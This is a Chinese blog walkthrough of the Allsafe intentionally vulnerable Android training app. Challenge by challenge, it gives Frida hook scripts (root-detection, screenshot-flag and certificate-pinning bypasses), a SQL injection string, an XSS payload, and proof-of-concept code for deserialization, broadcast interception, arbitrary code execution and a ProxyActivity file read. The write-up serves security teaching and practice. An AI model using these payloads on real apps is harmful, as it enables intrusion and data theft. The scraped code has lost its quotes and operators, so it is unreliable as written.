2026/4/6 4:01:31
网站建设
项目流程
网站建站软件,旅游主题网站策划书,世界500强企业排名2021,朋友圈软文最近遇到了一个很不错的安卓靶场#xff0c;比较适合新手入门#xff0c;基本问gpt能问出来的程度#xff0c;网上也没有完整的wp#xff0c;刚好水篇博客
allsafe github网址#xff1a;https://github.com/t0thkr1s/allsafe Insecure Logging 题目描述#xff1a;Simp…最近遇到了一个很不错的安卓靶场比较适合新手入门基本问gpt能问出来的程度网上也没有完整的wp刚好水篇博客allsafe github网址https://github.com/t0thkr1s/allsafeInsecure Logging题目描述Simple information disclosure vulnerability. Use thelogcatcommand-line tool to discover sensitive information.logcat看一下就能看到用户输入了adb shell pidof infosecadventures.allsafe adb shell logcat --pid pid | grep secretHardcoded Credentials题目描述Some credentials are left in the code. Your task is to reverse engineer the app and find sensitive information.点进题目一直显示under development反编译查看HardcodedCredentials类发现BODY中硬编码了账密则答案为superadmin:supersecurepasswordRoot Detection题目描述This is purely for Frida practice. Make the code believe that your device is not rooted!反编译代码发现调用RootBeer.isRooted方法来查看是否root直接frida hook返回值就行//frida -U -f infosecadventures.allsafe -l hook.js Java.perform(function () { var RootBeer Java.use(com.scottyab.rootbeer.RootBeer); RootBeer.isRooted.implementation function () { console.log(Bypassed RootBeer.isRooted()); return false; }; });Secure Flag Bypass题目描述Another Frida-based task. No real vulnerability here, just have fun bypassing the secure flag!题目提示说在MainActivity有禁止截图查看main代码发现this.getWindow().setFlags(0x2000, 0x2000);通过设置flag禁用了截屏具体参考https://developer.android.com/security/fraud-prevention/activities?hlzh-cn#kotlin那就把参数的这一位hook掉就行//frida -U -f infosecadventures.allsafe -l hook.js Java.perform(function () { var Window Java.use(android.view.Window); Window.setFlags.implementation function (flags, mask) { console.log(Original flags: flags , mask: mask); var newFlags flags(~0x2000); var newMask mask(~0x2000); console.log(Modified flags: newFlags , mask: newMask); return this.setFlags(newFlags, newMask); }; });成功截图PIN Bypass题目描述As you can see, there’s a simple PIN code validation below. Locate the method in the code and use Frida to override the return value. You can even brute-force the code because it’s only 4 digit.jeb直接都把base64解了密码即为4863Deep Link Exploitation题目描述Similar to the insecure broadcast receiver, you need to provide the right query parameter to complete this task!获取了启动deeplink的intent的url中的key参数只要key等于ebfb7ff0-b2f6-41c8-bef3-4fba17be410c就行查看manifest文件看到DeepLinkTask定义了两个intent filter可以通过scheme uri “allsafe://infosecadventures/congrats”或者https启动这里使用scheme uri启动activityadb shell am start -a android.intent.action.VIEW -d allsafe://infosecadventures/congrats?keyebfb7ff0-b2f6-41c8-bef3-4fba17be410c成功调用Weak Cryptography题目描述hook加密过程中的方法以md5为例aes加密和随机数同理Java.perform(function () { var Window Java.use(infosecadventures.allsafe.challenges.WeakCryptography); Window.md5Hash.implementation function (arg0) { console.log(input string: arg0); return md5md5; }; });Vulnerable WebView题目描述You can also complete this task without decompiling the application. Pop an alert dialog and read files!存在xss注入scriptalert(12345)\script对路径也没有过滤可以直接访问文件file:///etc/hostsNative Library题目描述The application uses a native library that validates the entered password. Reverse engineer the library to find the password then use Frida to hook the native method.看java层发现是调用了native的函数跟进native层发现异或加密和密文解密出来就是”supersecret“甚至直接就没删Object Serialization题目描述It is often convenient to serialize objects for convenient communication or to save them for later use. I heard that there’s an object deserialization vulnerability somewhere combined with insecure data storage.save user data时将username和password序列化存在了文件中存在反序列化漏洞load user data时先判断role字段是否为ROLE_EDITOR但输入的时候并未设置该字段所以失败。因此我们可以自己构造带有role字段的序列化对象上传到对应的文件夹中实现绕过首先获取序列化对象所在目录Java.perform(function () { var ContextWrapper Java.use(android.content.ContextWrapper); ContextWrapper.getExternalFilesDir.overload(java.lang.String).implementation function (type) { var result this.getExternalFilesDir(type); console.log([] getExternalFilesDir called, result: result); return result; }; });可以看到目录位于/storage/emulated/0/Android/data/infosecadventures.allsafe/files接下来构造序列化对象package infosecadventures.allsafe.challenges; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.io.Serializable; public class ObjectSerialization { public static void main(String[] args) { try { User user new User(admin, admin123); user.role ROLE_EDITOR; // 修改角色为有权限的角色 FileOutputStream fos new FileOutputStream(user.dat); ObjectOutputStream oos new ObjectOutputStream(fos); oos.writeObject(user); oos.close(); fos.close(); System.out.println(✅ user.dat 序列化完成。); } catch (Exception e) { e.printStackTrace(); } } public static class User implements Serializable { private static final long serialVersionUID -4886601626931750812L; //序列化版本要一致报错信息可以看到 public String username; public String password; public String role; public User(String username, String password) { this.username username; this.password password; this.role ROLE_AUTHOR; // 默认角色 } Override public String toString() { return User{username username , password password , role role }; } } }#在项目根目录运行javac -d out infosecadventures/allsafe/challenges/ObjectSerialization.javacd outjava infosecadventures.allsafe.challenges.ObjectSerialization将生成的user.dat上传到文件夹即可读取Insecure Shared Preferences题目描述Shared preferences are, by default, stored within the app’s data directory with filesystem permissions set that only allow the UID that specific application runs with to access them. Also, if someone was able to mount your device’s filesystem without using the installed Android OS, they could also bypass the permissions that restrict access.查看shared preferencesa部分的代码发现是直接明文存储的即使是存在私有目录下也是危险的做法直接root连上去读取就能读取出账密Insecure Service题目描述The application needs the RECORD_AUDIO permission for some reason. Find out why the app needs this and write a simple app to mis-use the functionality on this fragment逆向发现该类申请了录音权限来输出录音音频到download文件夹而且使用的RecordService服务是被导出了的这样RecordService服务可以被任意apk使用adb调用一下成功获取服务Insecure Broadcast Receiver题目描述our intern wrote a simple note tasking feature into the app but the data processing logic seems weird. Gideon got some reports about critical vulnerabilities being exploited… As far as I know, hackers were able to capture the notes and exploit a permission re-delegation vulnerability. Can you check this madness out and maybe write a PoC for demonstration该功能向系统中所有声明了infosecadventures.allsafe.action.PROCESS_NOTE的BroadcastReceiver广播敏感信息只要监听这个action就能拦截广播写一个监听器package com.example.maliciousreceiver import android.content.BroadcastReceiver import android.content.Context import android.content.Intent import android.util.Log import android.widget.Toast class MaliciousReceiver : BroadcastReceiver() { override fun onReceive(context: Context, intent: Intent?) { if (intent?.action infosecadventures.allsafe.action.PROCESS_NOTE) { val note intent.getStringExtra(note) val server intent.getStringExtra(server) val notification intent.getStringExtra(notification_message) Log.i(MaliciousReceiver, Note: $note) Log.i(MaliciousReceiver, Server: $server) Log.i(MaliciousReceiver, Notification Message: $notification) Toast.makeText(context, Intercepted note: $note, Toast.LENGTH_LONG).show() } } }成功拦截到广播内容Firebase Database题目描述In this task, the application is getting data from a realtime database. It’s all nice and good but I have a feeling the developers didn’t set the correct rules for production.查看反编译代码发现用的是firebase数据库且有一个secret节点搜索firebase获得数据库urlhttps://allsafe-8cef0.firebaseio.com访问url即可获得secretCertificate Pinning题目描述In this challenge, your task is to intercept the traffic and bypass the certificate pinning. The implementation is fairly good, so you might have to use Frida or patch the APK.这里用certificatePinner绑定了固定的证书所以无法抓包使用网上的frida代码思路为创建一个包含自己的可信根证书的 KeyStore然后构造一个新的 TrustManager只信任这个 KeyStore最后 hookSSLContext.init(...)当 App 初始化 SSL 时把原本的 TrustManager替换成抓包软件的CA就可以抓包了。setTimeout(function() { Java.perform(function() { console.log(); console.log([.] Cert Pinning Bypass/Re-Pinning); var CertificateFactory Java.use(java.security.cert.CertificateFactory); var FileInputStream Java.use(java.io.FileInputStream); var BufferedInputStream Java.use(java.io.BufferedInputStream); var X509Certificate Java.use(java.security.cert.X509Certificate); var KeyStore Java.use(java.security.KeyStore); var TrustManagerFactory Java.use(javax.net.ssl.TrustManagerFactory); var SSLContext Java.use(javax.net.ssl.SSLContext); // Load CAs from an InputStream console.log([] Loading our CA...); var cf CertificateFactory.getInstance(X.509); try { var fileInputStream FileInputStream.$new(/data/local/tmp/10fb1fcc.0); //替换成抓包软件的证书路径 } catch(err) { console.log([o] err); } var bufferedInputStream BufferedInputStream.$new(fileInputStream); var ca cf.generateCertificate(bufferedInputStream); bufferedInputStream.close(); var certInfo Java.cast(ca, X509Certificate); console.log([o] Our CA Info: certInfo.getSubjectDN()); // Create a KeyStore containing our trusted CAs console.log([] Creating a KeyStore for our CA...); var keyStoreType KeyStore.getDefaultType(); var keyStore KeyStore.getInstance(keyStoreType); keyStore.load(null, null); keyStore.setCertificateEntry(ca, ca); // Create a TrustManager that trusts the CAs in our KeyStore console.log([] Creating a TrustManager that trusts the CA in our KeyStore...); var tmfAlgorithm TrustManagerFactory.getDefaultAlgorithm(); var tmf TrustManagerFactory.getInstance(tmfAlgorithm); tmf.init(keyStore); console.log([] Our TrustManager is ready...); console.log([] Hijacking SSLContext methods now...); console.log([-] Waiting for the app to invoke SSLContext.init()...); SSLContext.init.overload([Ljavax.net.ssl.KeyManager;, [Ljavax.net.ssl.TrustManager;, java.security.SecureRandom).implementation function (a, b, c) { console.log([o] App invoked javax.net.ssl.SSLContext.init...); SSLContext.init.overload([Ljavax.net.ssl.KeyManager;, [Ljavax.net.ssl.TrustManager;, java.security.SecureRandom).call(this, a, tmf.getTrustManagers(), c); console.log([] SSLContext initialized with our custom TrustManager!); } }); }, 0);可以看到hook后成功抓包Arbitrary Code Execution题目描述Loading modules securely with third-party apps are not easy. Write a PoC application and exploit the vulnerability!ArbitraryCodeExecution类创建时调用了invokePlugins()和invokeUpdate()方法这两个方法都存在任意代码执行漏洞。invokePlugins先在已安装的应用里找到包名以infosecadventures.allsafe开头的应用然后调用了infosecadventures.allsafe.plugin.Loader类的loadPlugin方法。如果我们构造一个infosecadventures.allsafe开头的apk然后就可以在infosecadventures.allsafe.plugin.Loader.loadPlugin执行我们想要执行的任意代码了。invokeUpdate读取了Environment.DIRECTORY_DOWNLOADS目录注意这是一个写死的字符串Download所以绝对路径是/data/data/infosecadventures.allsafe/files/Download/下的allsafe_updater.apk然后调用了infosecadventures.allsafe.updater.VersionCheck类的getLatestVersion方法。我们只需要构造一个包名为infosecadventures.allsafe.updater的apk然后在VersionCheck.getLatestVersion()中执行我们想要执行的任意代码即可。public final class ArbitraryCodeExecution extends Application { private final void invokePlugins() { for(Object object0: this.getPackageManager().getInstalledPackages(0)) { String s ((PackageInfo)object0).packageName; Intrinsics.checkNotNullExpressionValue(s, packageInfo.packageName); if(!StringsKt.startsWith$default(s, infosecadventures.allsafe, false, 2, null)) { continue; } try { Context context0 this.createPackageContext(s, 3); Intrinsics.checkNotNullExpressionValue(context0, packageContext); context0.getClassLoader().loadClass(infosecadventures.allsafe.plugin.Loader).getMethod(loadPlugin).invoke(null); } catch(Exception exception0) { } } } private final void invokeUpdate() { try { File file new File(Environment.DIRECTORY_DOWNLOADS /allsafe_updater.apk); if((file.exists()) (file.isFile())) { String s file.getAbsolutePath(); File file1 this.getCacheDir(); Intrinsics.checkNotNullExpressionValue(file1, cacheDir); Object object0 new DexClassLoader(s, file1.getAbsolutePath(), null, this.getClassLoader()).loadClass(infosecadventures.allsafe.updater.VersionCheck).getDeclaredMethod(getLatestVersion).invoke(null); if(object0 null) { throw new NullPointerException(null cannot be cast to non-null type kotlin.Int); } if(Build.VERSION.SDK_INT ((int)(((Integer)object0)))) { Toast.makeText(this, Update required!, 1).show(); return; } } } catch(Exception exception0) { } }invokePlugins利用exp如下package infosecadventures.allsafe.plugin import android.util.Log import java.io.BufferedReader import java.io.InputStreamReader object Loader { JvmStatic fun loadPlugin() { try { val process Runtime.getRuntime().exec(id) val reader BufferedReader(InputStreamReader(process.inputStream)) val output reader.readText() Log.d(PluginLoader, Command Output: $output) } catch (e: Exception) { Log.e(PluginLoader, Error executing payload, e) } } }结果如下invokeUpdate利用过程如下构造恶意apk功能为执行id指令package infosecadventures.allsafe.updater import android.util.Log import java.io.BufferedReader import java.io.InputStreamReader object VersionCheck { JvmStatic fun getLatestVersion(): Int { try { val process Runtime.getRuntime().exec(id) val reader BufferedReader(InputStreamReader(process.inputStream)) val output reader.readText() Log.d(UpdaterPayload, Command Output: $output) } catch (e: Exception) { Log.e(UpdaterPayload, Error executing payload, e) } return 1 } }上传文件到Download目录adb push app-release.apk /data/local/tmp/allsafe_updater.apk adb shell su mkdir /data/data/infosecadventures.allsafe/files/Download mv /data/local/tmp/allsafe_updater.apk /data/data/infosecadventures.allsafe/files/Download/allsafe_updater.apk运行allsafe apk成功命令执行这里需要等一段时间不知道为什么Smali Patch题目描述Allsafe hired a new Android developer who made a beginner mistake setting up the firewall. Can you modify the decompiled Smali code in a way that the firewall is active by default?发现条件为Firewall.INACTIVE.equals(Firewall.ACTIVE)永远为假则将smali代码的if-eqz patch成if-nez即可patch完之后成功启动SQL Injection题目描述This task can be easily completed without reverse engineering the app. The goal is to bypass the following login page by exploiting a simple SQL injection vulnerability.简单的sql注入1 or 11 --Insecure Providers题目描述We got a report that our notes database leaked through an insecure content provider. Fortunately, the dev team said it’s easy to secure Android inter process communication. The app also provides access to some files which we share with other apps…Can you check if the implementation is good enough? Allsafe can’t afford another sensitive file leak.该类从数据库下载了一个readme.txt到本地根据题目描述他们修复了不安全的provider可能是要我们利用provider来查看文件内容。查看manifest.xml文件总共有两个provider导出的只有dataproviderfileprovider没有被导出不能直接外部调用。查看dataprovider代码只注册了note一个节点而且访问的路径也不是readme.txt的路径无法利用我们只能寻找其他导出的Activity/Services看看能不能利用留意到ProxyActivity它接受一个名为extra_intent的Intent对象并直接使用、startActivity(extra_intent)启动我们传入的 intent。那我们就可以利用ProxyActivity启动FileProvider来读取任意文件exp如下package com.example.provider import android.content.ComponentName import android.content.Intent import android.net.Uri import android.os.Bundle import android.util.Log import androidx.activity.ComponentActivity class MainActivity : ComponentActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) val targetUri Uri.parse(content://infosecadventures.allsafe.fileprovider/files/docs/readme.txt) // Intent to view the readme file val readIntent Intent(Intent.ACTION_VIEW).apply { setDataAndType(targetUri, text/plain) flags Intent.FLAG_GRANT_READ_URI_PERMISSION } // Proxy intent to be passed to ProxyActivity val proxyIntent Intent().apply { component ComponentName( infosecadventures.allsafe, infosecadventures.allsafe.ProxyActivity ) putExtra(extra_intent, readIntent) } try { startActivity(proxyIntent) Log.d(Exploit, Proxy intent sent!) } catch (e: Exception) { Log.e(Exploit, Failed to launch intent: ${e.message}) } finish() } }成功读取文件内容解两次base64获得内容